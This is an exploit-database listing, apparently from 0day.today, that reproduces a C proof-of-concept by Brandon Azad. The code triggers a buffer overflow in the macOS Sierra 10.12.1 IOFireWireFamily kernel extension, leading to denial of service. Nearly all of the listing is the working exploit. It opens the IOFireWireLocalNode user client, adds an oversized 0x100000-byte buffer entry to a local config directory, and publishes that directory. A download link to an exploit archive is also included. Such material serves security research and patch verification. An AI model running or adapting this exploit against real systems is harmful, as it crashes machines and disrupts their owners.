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Apple macOS Sierra 10.12.1 - IOFireWireFamily FireWire Port Denial of Service Exploit
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
/*
* IOFireWireFamily-overflow.c
* Brandon Azad
*
* Buffer overflow reachable from IOFireWireUserClient::localConfigDirectory_Publish.
*
* Download: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44235.zip
*/
#include <IOKit/IOKitLib.h>
#include <stdlib.h>
#include <string.h>
int main() {
int ret = 0;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOFireWireLocalNode"));
if (service == IO_OBJECT_NULL) {
ret = 1;
goto fail1;
}
io_connect_t connect;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
IOObjectRelease(service);
if (kr != KERN_SUCCESS) {
ret = 2;
goto fail1;
}
// localConfigDirectory_Create
uint64_t directory = 0;
uint32_t output_count = 1;
kr = IOConnectCallMethod(connect, 16,
NULL, 0, NULL, 0,
&directory, &output_count, NULL, NULL);
if (kr != KERN_SUCCESS) {
ret = 3;
goto fail2;
}
// localConfigDirectory_addEntry_Buffer
uint32_t size = 0x100000;
void *buffer = malloc(size);
memset(buffer, 0xaa, size);
uint64_t addEntry_Buffer_args[6] = { directory, 0, (uint64_t)buffer, size, 0, 0 };
kr = IOConnectCallMethod(connect, 17,
addEntry_Buffer_args,
sizeof(addEntry_Buffer_args) / sizeof(*addEntry_Buffer_args),
NULL, 0,
NULL, NULL, NULL, NULL);
free(buffer);
if (kr != KERN_SUCCESS) {
ret = 4;
goto fail2;
}
// localConfigDirectory_Publish
kr = IOConnectCallMethod(connect, 21,
&directory, 1, NULL, 0,
NULL, NULL, NULL, NULL);
if (kr != KERN_SUCCESS) {
ret = 5;
goto fail2;
}
fail2:
IOServiceClose(connect);
fail1:
return ret;
}
# 0day.today [2024-11-14] #